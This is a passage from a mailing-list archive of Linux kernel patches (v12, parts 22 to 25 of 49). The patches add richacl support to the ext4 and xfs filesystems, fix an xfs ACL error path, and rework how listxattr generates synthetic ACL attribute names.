opt); + return -1; + } +#endif case Opt_nouser_xattr: ext4_msg(sb, KERN_WARNING, deprecated_msg, opt, "3.5"); break; @@ -3576,8 +3605,8 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) set_opt(sb, NO_UID32); /* xattr user namespace & acls are now defaulted on */ set_opt(sb, XATTR_USER); -#ifdef CONFIG_EXT4_FS_POSIX_ACL - set_opt(sb, POSIX_ACL); +#if defined(CONFIG_EXT4_FS_POSIX_ACL) || defined(CONFIG_EXT4_FS_RICHACL) + set_opt(sb, ACL); #endif /* don't forget to enable journal_csum when metadata_csum is enabled. */ if (ext4_has_metadata_csum(sb)) @@ -3660,8 +3689,9 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) sb->s_iflags |= SB_I_CGROUPWB; } - sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | - (test_opt(sb, POSIX_ACL) ? MS_POSIXACL : 0); + err = enable_acl(sb); + if (err) + goto failed_mount; if (le32_to_cpu(es->s_rev_level) == EXT4_GOOD_OLD_REV && (EXT4_HAS_COMPAT_FEATURE(sb, ~0U) || @@ -4981,8 +5011,9 @@ static int ext4_remount(struct super_block *sb, int *flags, char *data) if (sbi->s_mount_flags & EXT4_MF_FS_ABORTED) ext4_abort(sb, "Abort forced by user"); - sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | - (test_opt(sb, POSIX_ACL) ? MS_POSIXACL : 0); + err = enable_acl(sb); + if (err) + goto restore_opts; es = sbi->s_es; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3416929E1F for ; Fri, 23 Oct 2015 13:44:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 15EE38F8035 for ; Fri, 23 Oct 2015 11:44:42 -0700 (PDT) X-ASG-Debug-ID: 1445625880-04cbb0660c3f1a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FqfgVLAVDXy6Vigm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:41 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 8979C8E234; Fri, 23 Oct 2015 18:44:40 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ep026588; Fri, 23 Oct 2015 14:44:34 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 22/49] xfs: Fix error path in xfs_get_acl Date: Fri, 23 Oct 2015 20:41:35 +0200 X-ASG-Orig-Subj: [PATCH v12 22/49] xfs: Fix error path in xfs_get_acl Message-Id: <1445625722-13791-23-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625881 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Error codes from xfs_attr_get other than -ENOATTR were not properly reported. Fix that. In addition, the declaration of struct xfs_inode in xfs_acl.h isn't needed. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 1 + fs/xfs/xfs_acl.h | 1 - 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4b64167..e87fd3f 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -160,6 +160,7 @@ xfs_get_acl(struct inode *inode, int type) */ if (error == -ENOATTR) goto out_update_cache; + acl = ERR_PTR(error); goto out; } diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 3841b07..9ee0a0d 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -20,7 +20,6 @@ struct inode; struct posix_acl; -struct xfs_inode; #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B5A2C7F81 for ; Fri, 23 Oct 2015 13:44:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 993E3304039 for ; Fri, 23 Oct 2015 11:44:48 -0700 (PDT) X-ASG-Debug-ID: 1445625887-04cbb0660c3f1b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LLWfYr1t914goKNr (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:47 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 4726A2F1; Fri, 23 Oct 2015 18:44:47 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eq026588; Fri, 23 Oct 2015 14:44:41 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 23/49] xfs: Make xfs_set_mode non-static Date: Fri, 23 Oct 2015 20:41:36 +0200 X-ASG-Orig-Subj: [PATCH v12 23/49] xfs: Make xfs_set_mode non-static Message-Id: <1445625722-13791-24-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625887 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Make xfs_set_mode non-static and move it from xfs_acl.c into xfs_inode.c. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 18 ------------------ fs/xfs/xfs_inode.c | 24 ++++++++++++++++++++++++ fs/xfs/xfs_inode.h | 2 ++ 3 files changed, 26 insertions(+), 18 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index e87fd3f..7b03383 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -232,24 +232,6 @@ __xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) } static int -xfs_set_mode(struct inode *inode, umode_t mode) -{ - int error = 0; - - if (mode != inode->i_mode) { - struct iattr iattr; - - iattr.ia_valid = ATTR_MODE | ATTR_CTIME; - iattr.ia_mode = mode; - iattr.ia_ctime = current_fs_time(inode->i_sb); - - error = xfs_setattr_nonsize(XFS_I(inode), &iattr, XFS_ATTR_NOACL); - } - - return error; -} - -static int xfs_acl_exists(struct inode *inode, unsigned char *name) { int len = XFS_ACL_MAX_SIZE(XFS_M(inode->i_sb)); diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dc40a6d..644fa04 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -3587,3 +3587,27 @@ xfs_iflush_int( corrupt_out: return -EFSCORRUPTED; } + +/* + * Set an inode's file mode. + * + * Called when updating an inode's file mode as part of setting an ACL only. + * The VFS goes through the setattr inode operation instead. + */ +int +xfs_set_mode(struct inode *inode, umode_t mode) +{ + int error = 0; + + if (mode != inode->i_mode) { + struct iattr iattr; + + iattr.ia_valid = ATTR_MODE | ATTR_CTIME; + iattr.ia_mode = mode; + iattr.ia_ctime = current_fs_time(inode->i_sb); + + error = xfs_setattr_nonsize(XFS_I(inode), &iattr, XFS_ATTR_NOACL); + } + + return error; +} diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index ca9e119..7b22db0 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -424,6 +424,8 @@ int xfs_dir_ialloc(struct xfs_trans **, struct xfs_inode *, umode_t, int xfs_droplink(struct xfs_trans *, struct xfs_inode *); int xfs_bumplink(struct xfs_trans *, struct xfs_inode *); +int xfs_set_mode(struct inode *, umode_t); + /* from xfs_file.c */ enum xfs_prealloc_flags { XFS_PREALLOC_SET = (1 << 1), -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F153229E1F for ; Fri, 23 Oct 2015 13:44:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B776B8F8033 for ; Fri, 23 Oct 2015 11:44:55 -0700 (PDT) X-ASG-Debug-ID: 1445625894-04bdf0330a41550001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id eLV1qjY7KRo9L9Qz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:54 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id F17608F2E4; Fri, 23 Oct 2015 18:44:53 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3er026588; Fri, 23 Oct 2015 14:44:47 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 24/49] xfs: Change how listxattr generates synthetic attributes Date: Fri, 23 Oct 2015 20:41:37 +0200 X-ASG-Orig-Subj: [PATCH v12 24/49] xfs: Change how listxattr generates synthetic attributes Message-Id: <1445625722-13791-25-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625894 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Instead of adding the synthesized POSIX ACL attribute names after listing all non-synthesized attributes, generate them immediately when listing the non-synthesized attributes. In addition, merge xfs_xattr_put_listent and xfs_xattr_put_listent_sizes to ensure that the list size is computed correctly; the split version was overestimating the list size for non-root users. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 23 --------- fs/xfs/xfs_acl.h | 4 -- fs/xfs/xfs_xattr.c | 137 +++++++++++++++++++++++------------------------------ 3 files changed, 59 insertions(+), 105 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 7b03383..778a464 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -231,29 +231,6 @@ __xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) return error; } -static int -xfs_acl_exists(struct inode *inode, unsigned char *name) -{ - int len = XFS_ACL_MAX_SIZE(XFS_M(inode->i_sb)); - - return (xfs_attr_get(XFS_I(inode), name, NULL, &len, - ATTR_ROOT|ATTR_KERNOVAL) == 0); -} - -int -posix_acl_access_exists(struct inode *inode) -{ - return xfs_acl_exists(inode, SGI_ACL_FILE); -} - -int -posix_acl_default_exists(struct inode *inode) -{ - if (!S_ISDIR(inode->i_mode)) - return 0; - return xfs_acl_exists(inode, SGI_ACL_DEFAULT); -} - int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 9ee0a0d..cf973f5 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -24,15 +24,11 @@ struct posix_acl; #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); extern int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); -extern int posix_acl_access_exists(struct inode *inode); -extern int posix_acl_default_exists(struct inode *inode); #else static inline struct posix_acl *xfs_get_acl(struct inode *inode, int type) { return NULL; } # define xfs_set_acl NULL -# define posix_acl_access_exists(inode) 0 -# define posix_acl_default_exists(inode) 0 #endif /* CONFIG_XFS_POSIX_ACL */ #endif /* __XFS_ACL_H__ */ diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index c0368151..8428aed 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -106,47 +106,19 @@ const struct xattr_handler *xfs_xattr_handlers[] = { NULL }; -static unsigned int xfs_xattr_prefix_len(int flags) -{ - if (flags & XFS_ATTR_SECURE) - return sizeof("security"); - else if (flags & XFS_ATTR_ROOT) - return sizeof("trusted"); - else - return sizeof("user"); -} - -static const char *xfs_xattr_prefix(int flags) -{ - if (flags & XFS_ATTR_SECURE) - return xfs_xattr_security_handler.prefix; - else if (flags & XFS_ATTR_ROOT) - return xfs_xattr_trusted_handler.prefix; - else - return xfs_xattr_user_handler.prefix; -} - static int -xfs_xattr_put_listent( +__xfs_xattr_put_listent( struct xfs_attr_list_context *context, - int flags, - unsigned char *name, - int namelen, - int valuelen, - unsigned char *value) + char *prefix, + int prefix_len, + unsigned char *name, + int namelen) { - unsigned int prefix_len = xfs_xattr_prefix_len(flags); char *offset; int arraytop; - ASSERT(context->count >= 0); - - /* - * Only show root namespace entries if we are actually allowed to - * see them. - */ - if ((flags & XFS_ATTR_ROOT) && !capable(CAP_SYS_ADMIN)) - return 0; + if (!context->alist) + goto compute_size; arraytop = context->count + prefix_len + namelen + 1; if (arraytop > context->firstu) { @@ -154,17 +126,19 @@ xfs_xattr_put_listent( return 1; } offset = (char *)context->alist + context->count; - strncpy(offset, xfs_xattr_prefix(flags), prefix_len); + strncpy(offset, prefix, prefix_len); offset += prefix_len; strncpy(offset, (char *)name, namelen); /* real name */ offset += namelen; *offset = '\0'; + +compute_size: context->count += prefix_len + namelen + 1; return 0; } static int -xfs_xattr_put_listent_sizes( +xfs_xattr_put_listent( struct xfs_attr_list_context *context, int flags, unsigned char *name, @@ -172,24 +146,55 @@ xfs_xattr_put_listent_sizes( int valuelen, unsigned char *value) { - context->count += xfs_xattr_prefix_len(flags) + namelen + 1; - return 0; -} + char *prefix; + int prefix_len; -static int -list_one_attr(const char *name, const size_t len, void *data, - size_t size, ssize_t *result) -{ - char *p = data + *result; + ASSERT(context->count >= 0); - *result += len; - if (!size) - return 0; - if (*result > size) - return -ERANGE; + if (flags & XFS_ATTR_ROOT) { +#ifdef CONFIG_XFS_POSIX_ACL + if (namelen == SGI_ACL_FILE_SIZE && + strncmp(name, SGI_ACL_FILE, + SGI_ACL_FILE_SIZE) == 0) { + int ret = __xfs_xattr_put_listent( + context, XATTR_SYSTEM_PREFIX, + XATTR_SYSTEM_PREFIX_LEN, + XATTR_POSIX_ACL_ACCESS, + strlen(XATTR_POSIX_ACL_ACCESS)); + if (ret) + return ret; + } else if (namelen == SGI_ACL_DEFAULT_SIZE && + strncmp(name, SGI_ACL_DEFAULT, + SGI_ACL_DEFAULT_SIZE) == 0) { + int ret = __xfs_xattr_put_listent( + context, XATTR_SYSTEM_PREFIX, + XATTR_SYSTEM_PREFIX_LEN, + XATTR_POSIX_ACL_DEFAULT, + strlen(XATTR_POSIX_ACL_DEFAULT)); + if (ret) + return ret; + } +#endif - strcpy(p, name); - return 0; + /* + * Only show root namespace entries if we are actually allowed to + * see them. + */ + if (!capable(CAP_SYS_ADMIN)) + return 0; + + prefix = XATTR_TRUSTED_PREFIX; + prefix_len = XATTR_TRUSTED_PREFIX_LEN; + } else if (flags & XFS_ATTR_SECURE) { + prefix = XATTR_SECURITY_PREFIX; + prefix_len = XATTR_SECURITY_PREFIX_LEN; + } else { + prefix = XATTR_USER_PREFIX; + prefix_len = XATTR_USER_PREFIX_LEN; + } + + return __xfs_xattr_put_listent(context, prefix, prefix_len, name, + namelen); } ssize_t @@ -198,7 +203,6 @@ xfs_vn_listxattr(struct dentry *dentry, char *data, size_t size) struct xfs_attr_list_context context; struct attrlist_cursor_kern cursor = { 0 }; struct inode *inode = d_inode(dentry); - int error; /* * First read the regular on-disk attributes. @@ -207,37 +211,14 @@ xfs_vn_listxattr(struct dentry *dentry, char *data, size_t size) context.dp = XFS_I(inode); context.cursor = &cursor; context.resynch = 1; - context.alist = data; + context.alist = size ? data : NULL; context.bufsize = size; context.firstu = context.bufsize; - - if (size) - context.put_listent = xfs_xattr_put_listent; - else - context.put_listent = xfs_xattr_put_listent_sizes; + context.put_listent = xfs_xattr_put_listent; xfs_attr_list_int(&context); if (context.count < 0) return -ERANGE; - /* - * Then add the two synthetic ACL attributes. - */ - if (posix_acl_access_exists(inode)) { - error = list_one_attr(POSIX_ACL_XATTR_ACCESS, - strlen(POSIX_ACL_XATTR_ACCESS) + 1, - data, size, &context.count); - if (error) - return error; - } - - if (posix_acl_default_exists(inode)) { - error = list_one_attr(POSIX_ACL_XATTR_DEFAULT, - strlen(POSIX_ACL_XATTR_DEFAULT) + 1, - data, size, &context.count); - if (error) - return error; - } - return context.count; } -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 13D1629E27 for ; Fri, 23 Oct 2015 13:45:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 85581AC003 for ; Fri, 23 Oct 2015 11:45:03 -0700 (PDT) X-ASG-Debug-ID: 1445625900-04cb6c7b863e030001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id PECrx2bVz2mEblt1 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:01 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id B41F274; Fri, 23 Oct 2015 18:45:00 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3es026588; Fri, 23 Oct 2015 14:44:54 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 25/49] xfs: Add richacl support Date: Fri, 23 Oct 2015 20:41:38 +0200 X-ASG-Orig-Subj: [PATCH v12 25/49] xfs: Add richacl support Message-Id: <1445625722-13791-26-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625901 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The richacl feature flag (mkfs.xfs -m richacl=1) determines whether an xfs filesystem supports posix acls or richacls. Richacls are stored in "system.richacl" xattrs. On the grounds that richacls add relatively little overhead compared to the size of xfs itself, to keep the testing matrix small, and because xfs users are highly likely to enable richacls anyway, richacl support cannot be compiled out in xfs. Signed-off-by: Andreas Gruenbacher --- fs/xfs/Kconfig | 1 + fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_format.h | 11 ++++- fs/xfs/xfs_iops.c | 44 +++++++++++++++---- fs/xfs/xfs_richacl.c | 103 +++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_richacl.h | 23 ++++++++++ fs/xfs/xfs_super.c | 6 ++- fs/xfs/xfs_super.h | 4 ++ fs/xfs/xfs_xattr.c | 43 ++++++++++++++++--- 9 files changed, 218 insertions(+), 18 deletions(-) create mode 100644 fs/xfs/xfs_richacl.c create mode 100644 fs/xfs/xfs_richacl.h diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig index 5d47b4d..3fd00f8 100644 --- a/fs/xfs/Kconfig +++ b/fs/xfs/Kconfig @@ -4,6 +4,7 @@ config XFS_FS depends on (64BIT || LBDAF) select EXPORTFS select LIBCRC32C + select FS_RICHACL help XFS is a high performance journaling filesystem which originated on the SGI IRIX platform. It is completely multi-threaded, can diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index a096841..1e6b984 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -84,6 +84,7 @@ xfs-y += xfs_aops.o \ xfs_message.o \ xfs_mount.o \ xfs_mru_cache.o \ + xfs_richacl.o \ xfs_super.o \ xfs_symlink.o \ xfs_sysfs.o \ diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 9590a06..923247c 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -461,10 +461,13 @@ xfs_sb_has_ro_compat_feature( #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* sparse inode chunks */ #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* metadata UUID */ +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ + #define XFS_SB_FEAT_INCOMPAT_ALL \ (XFS_SB_FEAT_INCOMPAT_FTYPE| \ XFS_SB_FEAT_INCOMPAT_SPINODES| \ - XFS_SB_FEAT_INCOMPAT_META_UUID) + XFS_SB_FEAT_INCOMPAT_META_UUID| \ + XFS_SB_FEAT_INCOMPAT_RICHACL) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool @@ -530,6 +533,12 @@ static inline bool xfs_sb_version_hasmetauuid(struct xfs_sb *sbp) (sbp->sb_features_incompat & XFS_SB_FEAT_INCOMPAT_META_UUID); } +static inline bool xfs_sb_version_hasrichacl(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_incompat & XFS_SB_FEAT_INCOMPAT_RICHACL); +} + /* * end of superblock version macros */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..9e4103b 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -27,6 +27,7 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_acl.h" +#include "xfs_richacl.h" #include "xfs_quota.h" #include "xfs_error.h" #include "xfs_attr.h" @@ -42,6 +43,7 @@ #include #include #include +#include #include #include #include @@ -133,7 +135,8 @@ xfs_generic_create( { struct inode *inode; struct xfs_inode *ip = NULL; - struct posix_acl *default_acl, *acl; + struct posix_acl *default_acl = NULL, *acl = NULL; + struct richacl *richacl = NULL; struct xfs_name name; int error; @@ -149,9 +152,15 @@ xfs_generic_create( rdev = 0; } - error = posix_acl_create(dir, &mode, &default_acl, &acl); - if (error) - return error; + if (IS_RICHACL(dir)) { + richacl = richacl_create(&mode, dir); + if (IS_ERR(richacl)) + return PTR_ERR(richacl); + } else { + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + return error; + } if (!tmpfile) { xfs_dentry_to_name(&name, dentry, mode); @@ -180,6 +189,11 @@ xfs_generic_create( goto out_cleanup_inode; } #endif + if (richacl) { + error = xfs_set_richacl(inode, richacl); + if (error) + goto out_cleanup_inode; + } if (tmpfile) d_tmpfile(dentry, inode); @@ -189,10 +203,9 @@ xfs_generic_create( xfs_finish_inode_setup(ip); out_free_acl: - if (default_acl) - posix_acl_release(default_acl); - if (acl) - posix_acl_release(acl); + posix_acl_release(default_acl); + posix_acl_release(acl); + richacl_put(richacl); return error; out_cleanup_inode: @@ -534,6 +547,13 @@ xfs_setattr_time( } } +static inline int +xfs_acl_chmod(struct inode *inode, umode_t mode) +{ + if (IS_RICHACL(inode)) + return richacl_chmod(inode, inode->i_mode); + return posix_acl_chmod(inode, inode->i_mode); +} int xfs_setattr_nonsize( struct xfs_inode *ip, @@ -722,7 +742,7 @@ xfs_setattr_nonsize( * Posix ACL code seems to care about this issue either. */ if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { - error = posix_acl_chmod(inode, inode->i_mode); + error = xfs_acl_chmod(inode, inode->i_mode); if (error) return error; } @@ -1104,6 +1124,8 @@ xfs_vn_tmpfile( static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1132,6 +1154,8 @@ static const struct inode_operations xfs_dir_inode_operations = { .rename2 = xfs_vn_rename, .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1160,6 +1184,8 @@ static const struct 